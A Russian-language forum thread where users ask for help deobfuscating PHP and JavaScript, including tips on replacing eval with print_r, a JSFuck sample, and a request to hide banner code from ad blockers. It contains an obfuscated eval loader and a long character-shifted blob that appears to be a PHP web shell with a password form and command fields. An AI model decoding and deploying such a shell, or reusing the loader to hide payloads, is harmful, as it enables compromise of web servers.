>>File is deleted А тот код что в цитате - всего лишь заполнение массива именами функций, которые скорее всего в последствии вызываются (только вот места где они вызываются - нет..).
Подскажите с направлением, точнее с расшифровкой двух файлов http://rgho.st/8rDPkfdZX http://rgho.st/8hNgvrnLG С base_64 выдает $liteCheckStr = "99. ... и набор цифр
первый файл - http://pastebin.com/9YhUhhNh второй файл - http://pastebin.com/KWnPQZgT P.S: Для расшифровки, eval заменяем на print_r, потом из того что получилось в конце кода появляется eval($liteEvalStr); его тоже заменяем и видим итоговый результат.
помогите закодировать скрипт вывода баннера- нужно для обхода адблока. за работу заплачу, ну, например $20. пишите в ЛС. ситуация такая: видимо, за мой сайт зацепился какой-то ярый адблокер. в итоге он вручную в течение суток накладывает все новые и новые фильтры после того, как я обхожу предыдущие. потому возникла идея зашифровать\спрятать код вывода баннера, чтоб максимально усложнить адблокеру создание нового фильтра.
спасибо за ссылку. но там в комментах пишут, что т.к. обфускатор уже старый, то яша и антивирусы его банят.
Так попробуй. Там через eval вывод все равно. Можешь еще такой попробовать http://joliclic.free.fr/php/javascript-packer/en/index.php Подобное часто используется
Всем привет помогите расшифровать js скрипт. $=String.fromCharCode(118,122,112,61,48,59,10,49,39,83,69,84,33,88,82,65,67,95,80,85,92,73,71,89,104,40,41,123,43,77,68,76,66,75,45,50,51,52,72,109,121,125,58,47,46,120,87,70,55,56,53,57,107,42,103,44,119,63,38,124,9,1042,1082,1083,1102,1095,1080,1072,1089,1100,1079,1097,1090,1087,1054,1073,1093,1086,1076,1084,1059,1077,1088,1085,1099,1057,1098,1091,1074,1101,1103,60,113,94,34,86,35,1055,37,1050,1075);(![]+[])[+[]][([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]][([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]]((+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(![]+[])[+!+[]]+$[2]+(!![]+[])[+!+[]]+([]+ Это не весь скрипт
Это JSFuck, такое у обфускатора имя. Если есть весь кот, вот тул для деобфускации: https://enkhee-osiris.github.io/Decoder-JSFuck/
Помогите с расшифровкой плиз. Code: <?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};?><?php /* Ваш IP занесен в черный список. За Вами выехала полиция */$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x13a4;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDU0Yik7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4Mzc0KSwnK2xBYzdhdnJpMFJZLzJJZnFFOVdTSEJ4cFhEbndzNTRRYlRvenlabTNVZWhMNnV0TzhkMWdGTk1DUEdKalZLaz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>eR@Gm~qWT~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Q|uKz
Надеюсь не ошибся темой, подскажите можно ли такое расшифровать? Code: E9UN0raFLnBm+EVPJZr8LwWN8BjS/BGUtiXXCcw2OKJOzSQb6sYFIzuVrOt8wCXBpi6Vq1rp54bLnPjhKAcDUhoenypN5Oh5VH7FMK+D1U/WhWuOUE0z5N1NvXtuVaTbDB6w+VM/Ks0hF9TIf70YQHcw8zfoDL6WEtfKGbQHqNbUB4Ugtc40MSWBPcG0fIzW4nu9Atd+fZFp/a21YLNH8egWhIJPw2Uo9FPn79RxzWU74oP2mJaGxgcpnNPaCw4w7m2kEzbg4KXVr6xVfarAC53IU1wTL+K63XxEeWJnNY2eniw22/1D5H+PI/DrU2X5/V9oK1sjz8zDCoHebVQE3xFUukgKgAgiSW63i++vhgIqY3La/l9X5YSBoOk49hrO8M5gcyB6QewAFmT4JV4S/p2OqCJiTv2rV+lnjFKWBgYxNtZeQ0d6jZUnm/KdxG++Ai4tFLlckkMeNPEKyfN5oNMgo8oSdFtabX9kP1kD9aGjW0Ek0v+fvvuupM9bZSwaKDjD8k/wZXjZjltObTDuYNIvVrO6obOVEbohoUn+PZfWbtn6d2ubu7gNMpIVjoBzNpY5tHkTSkex/11LDJQ/q8xFvwMLaPa+dwsH6o0cZnCoctJIDbVgtzzbGD6yoT4tNXdfin1sk5u1OErdhziQngCwq0gyrBdMR0PWyKysxyKnw+T7xIWNBeEjKgmaamOKM2RGDkcoIEAp6bWMHwXaM4lImsjbHDyZTn6cBSpq/gUQjNwmC3XAFMsy1AOMkUeL7iVd8ZLufQMAKBhqIAMYpY3HIEH2uK/GT2iMNDFTrj3QjSs6Nv55Jw11ka9A6fOVdZFjfE8SFjdJ5hPg4YkZoYn2zCU+N3Jz5So3i8At500+UllKfyK2jRGKxTMSs5790cb/1jj8cPnW6T4kRE91hdL52fYpN1Ua7xGZ9tpsPN5nodexOuf+eGOTEdk6nvv6+TbkTUcXfn/nEV6vDQYOJvYXMDWvRvRl1ZTo6bju6DqaJx4ZvvjjEbXLCdzXV6inDQt0jv6qB16s5aJaemMrYaovDk0TRoV53HYL6IP67jvNfnZsc4PYmDtYiuWQKiFgRGxIWM8z9mwUlOUsrUfpJ21/sjfBB0wzvB9BDsEOoZqgdVEr0O3UzbQxiiSb++DGd6fbSK8igZn15nLLJpMNaYjrGp1yQM/A9+KM6Tc4gEpSdj5cbE1zGao3s/lA9F/tZOO6eK8al/Js7bXWr+0is67zENvBhAvqIX8kW/O7ARYedRCO+w5fEX95+AcZ9T8TqwavTu8U+IMRgPoPenrN7aYBywuRLvAvj1c1u2PYbw8nWbGDzFETXIe3MwKS95J1ByAsl/5N+uiBZi5QoF+Rup3hI7nUIPTQBy1sp/mGWDVqXIPlGAZKh6EUpp64zLYFxU+8mp6aop4OhZf4LZmts3Ws6MXFFx56Llk1ZRtIMM/uKVc2SxQE2OgdyEsU/r5Z8mu5xIU/n9HZ6uz1FeNJ4dQm+SfJKzY+/WTFGEPT/wH6iovZlYKP29y6AX72DrxVJEAeaxydRAyGuM5QaYrA+S6pQxHJeUEXwGKNJYwQon/cxGyYFtSk/G3hitSogLAG4airPtyLrtzCKszXq/yj+2RGyOoViz6JQxLBMwfbIiIM0Sa/8vI9IJrGfiS0o6x5WtmafaNNlf6aCAvsW3XZZUbGoVBhxpKEDsNsEWu/78/IS39Pnn2J0NM+gtuDo1mmWXtN9wyXxMRvu06zbBFZFt0gKjT7Dr+frP0Y8Xov6qdPPoHiztQQZFOmnPgcVDL5hRqvspiKwBo= Предположительно там json
PHP: <?php$ewuiI352AWRcxv=4;$rHUIEWQj352ARScveWRafsz =' SFsc[ttt$9$&7a32=a2030e7<g45`a0=b51ge`2f=f45&? jijfvp`S$9$&[t3]`b1&? hvpvVbrw[l}$9$#BmhawIej#? lqPSf`[s`fmww$9$pvqa? fjbvavSAr$9$#Smj`ksw)5615#?mb,%aitp}, [WAVRAV_#LPPT[QWAV[ECAJP#Y--$$$$$ jjjccbcbSA$9$evve},&Ckkcha&($&vkfkp&(&Whqvt&($&IWJFkp&(&ia`mefkp&($&me[evglmrav&($&]ej`a|&($&Veifhav&-?$$$$mb,tvac[iepgl,#+#$*$mithk`a,#x#($ jjjccbcbSA-$*$#+m#($ [WAVRAV_#LPPT[QWAV[ECAJP#Y--$$$$$$$$$lae`av,#LPPT+5*4$040$Jkp$Bkqj`#-?$$$$$$$$a|mp?$$$$yyDwawwmkj[wpevp,-?Dmjm[wap,#avvkv[hkc#(JQHH-?Dmjm[wap,#hkc[avvkvw#(4-?Dmjm[wap,#ie|[a|agqpmkj[pmia#(4-?Dwap[pmia[hmimp,4-?Dwap[iecmg[uqkpaw[vqjpmia,4-?D`abmja,#RAVW[[#($#5*4#-?mb,cap[iecmg[uqkpaw[ctg,--$bqjgpmkj$lbvpvSArfrfww, evve}-$vapqvj$mw[evve}, evve}-$;$evve}[iet,#lbvpvSArfrfww#($ evve}-$>$wpvmtwhewlaw, evve}-?y[TKWP$9$lbvpvSArfrfww, [TKWP-?ybqjgpmkj$SVAfg`cl,-$`ma,&8tva$ehmcj9gajpav:8bkvi$iaplk`9tkwp:Tewwskv`>$8mjtqp$p}ta9tewwskv`$jeia9teww:8mjtqp$p}ta9wqfimp$rehqa9#::#:8+bkvi:8+tva:&-?ymb,%mwwap, [WAWWMKJ_i`1, [WAVRAV_#LPPT[LKWP#Y-Y--mb,$aitp}, SFsc[ttt-$xx$,$mwwap, [TKWP_#teww#Y-$""$,i`1, [TKWP_#teww#Y-$99$ SFsc[ttt-$-$-[WAWWMKJ_i`1, [WAVRAV_#LPPT[LKWP#Y-Y$9$pvqa?ahwaSVAfg`cl,-?mb$,bmha[a|mwpw,&pait5)5*tlt&--$qjhmjo,&pait5)5*tlt&-?ymb,wpvpkhksav,wqfwpv,TLT[KW(4(7--$99$&smj&-sasvfbfSvr$9$#smj#?ahwasasvfbfSvr$9$#jm|#? weba[ik`a$9$Dmjm[cap,#weba[ik`a#-?mb,% weba[ik`a-$$$$avvkv[vatkvpmjc,4-? `mwefha[bqjgpmkjw$9$Dmjm[cap,#`mwefha[bqjgpmkjw#-? PSllq[lw`wb$9$Dcapgs`,-?mb,mwwap, [TKWP_#g#Y--Dgl`mv, [TKWP_#g#Y-? gs`$9$Dcapgs`,-?mb, sasvfbfSvr$99$#smj#-$PSllq[lw`wb$9$wpv[vathega,&XX&($&+&($ PSllq[lw`wb-?gs`$9$wpv[vathega,&XX&($&+&($ gs`-?ymb,$ gs`_wpvhaj, gs`-)5Y$%9$#+#$-gs`$*9$#+#?mb,%mwwap, [WAWWMKJ_i`1, [WAVRAV_#LPPT[LKWP#Y-$*$#ene|#Y--$$$$ [WAWWMKJ_i`1, [WAVRAV_#LPPT[LKWP#Y-$*$#ene|#Y$9$,fkkh- CHKFEHW_#`abeqhp[qwa[ene|#Y?bqjgpmkj$p}}AVrbgg,-$mb,aitp}, [TKWP_#glevwap#Y--[TKWP_#glevwap#Y$9$ CHKFEHW_#`abeqhp[glevwap#Y?chkfeh$ jijfvp`S?aglk$&8lpih:8lae`:8iape$lppt)auqmr9#Gkjpajp)P}ta#$gkjpajp9#pa|p+lpih?$glevwap9&$*$ [TKWP_#glevwap#Y$*$&#:8pmpha:&$*$ [WAVRAV_#LPPT[LKWP#Y$*$&$)$K$&$*$RAVW[$*&8+pmpha:8wp}ha:fk`}fegocvkqj`)gkhkv>[t3]000?gkhkv>[t3]a5a5a5?yfk`}(p`(pl$bkjp>$=tp$Hqgm`e(Rav`eje?ievcmj>4?ravpmgeh)ehmcj>pkt?gkhkv>[t3]a5a5a5?$ypefha*mjbk$gkhkv>[t3]bbb?fegocvkqj`)gkhkv>[t3]666?$ywtej(l5(e$gkhkv>$ jijfvp`S$%mitkvpejp?$ywtej$bkjp)samclp>$fkh`av?$yl5$fkv`av)habp>1t|$wkhm`$ jijfvp`S?te``mjc>$6t|$1t|?bkjp>$50tp$Rav`eje?fegocvkqj`)gkhkv>[t3]666?ievcmj>4t|?$y`mr*gkjpajp$te``mjc>$1t|?ievcmj)habp>1t|?fegocvkqj`)gkhkv>[t3]777?$ye$pa|p)`agkvepmkj>jkja?$ye>lkrav$pa|p)`agkvepmkj>qj`avhmja?$y*ih5$fkv`av>5t|$wkhm`$[t3]000?te``mjc>1t|?ievcmj>4?kravbhks>$eqpk?$y*fmcevae$sm`pl>544!?lamclp>614t|?$ymjtqp(pa|pevae(wahagp$ievcmj>4?gkhkv>[t3]bbb?fegocvkqj`)gkhkv>[t3]111?fkv`av>5t|$wkhm`$ jijfvp`S?$bkjp>$=tp$Ikjkwtega(#Gkqvmav$Jas#?$ybkvi$ievcmj>4t|?$y[t3]pkkhwPfh$pa|p)ehmcj>gajpav?$y*pkkhwMjt$sm`pl>$744t|$y*iemj$plpa|p)ehmcj>habp?fegocvkqj`)gkhkv>[t3]1a1a1a?y*iemj$pv>lkravfegocvkqj`)gkhkv>[t3]1a1a1ay*h5fegocvkqj`)gkhkv>[t3]000y*h6fegocvkqj`)gkhkv>[t3]777ytvabkjp)beimh}>Gkqvmav(Ikjkwtega?y8+wp}ha:8wgvmtp:$$$$rev$g[$9$#&$*$lpihwtagmehglevw, CHKFEHW_#gs`#Y-$*$&#?$$$$rev$e[$9$#&$*$lpihwtagmehglevw,D [TKWP_#e#Y-$*&#$$$$rev$glevwap[$9$#&$*$lpihwtagmehglevw,D [TKWP_#glevwap#Y-$*&#?$$$$rev$t5[$9$#&$*$,,wpvtkw,D [TKWP_#t5#Y(&Xj&-%99behwa-;##>lpihwtagmehglevw, [TKWP_#t5#Y(AJP[UQKPAW--$*&#?$$$$rev$t6[$9$#&$*$,,wpvtkw,D [TKWP_#t6#Y(&Xj&-%99behwa-;##>lpihwtagmehglevw, [TKWP_#t6#Y(AJP[UQKPAW--$*&#?$$$$rev$t7[$9$#&$*$,,wpvtkw,D [TKWP_#t7#Y(&Xj&-%99behwa-;##>lpihwtagmehglevw, [TKWP_#t7#Y(AJP[UQKPAW--$*&#?$$$$rev$`$9$`kgqiajp?bqjgpmkj$wap,e(g(t5(t6(t7(glevwap-$mb,e%9jqhh-`*ib*e*rehqa9e?ahwa$`*ib*e*rehqa9e[?mb,g%9jqhh-`*ib*g*rehqa9g?ahwa$`*ib*g*rehqa9g[?mb,t5%9jqhh-`*ib*t5*rehqa9t5?ahwa$`*ib*t5*rehqa9t5[?mb,t6%9jqhh-`*ib*t6*rehqa9t6?ahwa$`*ib*t6*rehqa9t6[?mb,t7%9jqhh-`*ib*t7*rehqa9t7?ahwa$`*ib*t7*rehqa9t7[?mb,glevwap%9jqhh-`*ib*glevwap*rehqa9glevwap?ahwa$`*ib*glevwap*rehqa9glevwap[?ybqjgpmkj$c,e(g(t5(t6(t7(glevwap-$wap,e(g(t5(t6(t7(glevwap-?`*ib*wqfimp,-?ybqjgpmkj$e,e(g(t5(t6(t7(glevwap-$wap,e(g(t5(t6(t7(glevwap-?rev$teveiw$9$#ene|9pvqa#?bkv,m94?m8`*ib*ahaiajpw*hajcpl?m//-teveiw$/9$#"#/`*ib*ahaiajpw_mY*jeia/#9#/ajgk`aQVMGkitkjajp,`*ib*ahaiajpw_mY*rehqa-?wv,#&$*$e``whewlaw, [WAVRAV_#VAUQAWP[QVM#Y-$*&#($teveiw-?ybqjgpmkj$wv,qvh($teveiw-$mb$,smj`ks*\IHLpptVauqawp-vau$9$jas$\IHLpptVauqawp,-?ahwa$mb$,smj`ks*Egpmra\Kfnagp-vau$9$jas$Egpmra\Kfnagp,#Imgvkwkbp*\IHLPPT#-?$$$$$$$$mb$,vau-$$$$$$$$$$$$$vau*kjvae`}wpepaglejca$9$tvkgawwVauGlejca?$$$$$$$$$$$$vau*ktaj,#TKWP#($qvh($pvqa-?$$$$$$$$$$$$vau*wapVauqawpLae`av$,#Gkjpajp)P}ta#($#etthmgepmkj+|)sss)bkvi)qvhajgk`a`#-?$$$$$$$$$$$$vau*waj`,teveiw-?$$$$$$$$yybqjgpmkj$tvkgawwVauGlejca,-$mb,$,vau*vae`}Wpepa$99$0-$-mb,vau*wpepqw$99$644-$rev$vac$9$jas$VacA|t,X&,XXXX`/-,_XXXXWXXXXwY.-X&($#i#-?rev$evv9vac*a|ag,vau*vawtkjwaPa|p-?areh,evv_6Y*wqfwpv,4($evv_5Y--?y$ahwa$ehavp,#Vauqawp$avvkv%#-?y8+wgvmtp:8lae`:8fk`}:8`mr$wp}ha9#tkwmpmkj>efwkhqpa?sm`pl>544!?fegocvkqj`)gkhkv>[t3]000?pkt>4?habp>4?#:8bkvi$iaplk`9tkwp$jeia9ib$wp}ha9#`mwthe}>jkja?#:8mjtqp$p}ta9lm``aj$jeia9e:8mjtqp$p}ta9lm``aj$jeia9g:8mjtqp$p}ta9lm``aj$jeia9t5:8mjtqp$p}ta9lm``aj$jeia9t6:8mjtqp$p}ta9lm``aj$jeia9t7:8mjtqp$p}ta9lm``aj$jeia9glevwap:8+bkvi:&?bvaaWtega$9$D`mwobvaawtega, CHKFEHW_#gs`#Y-?pkpehWtega$9$D`mwo[pkpeh[wtega, CHKFEHW_#gs`#Y-?pkpehWtega$9$ pkpehWtega; 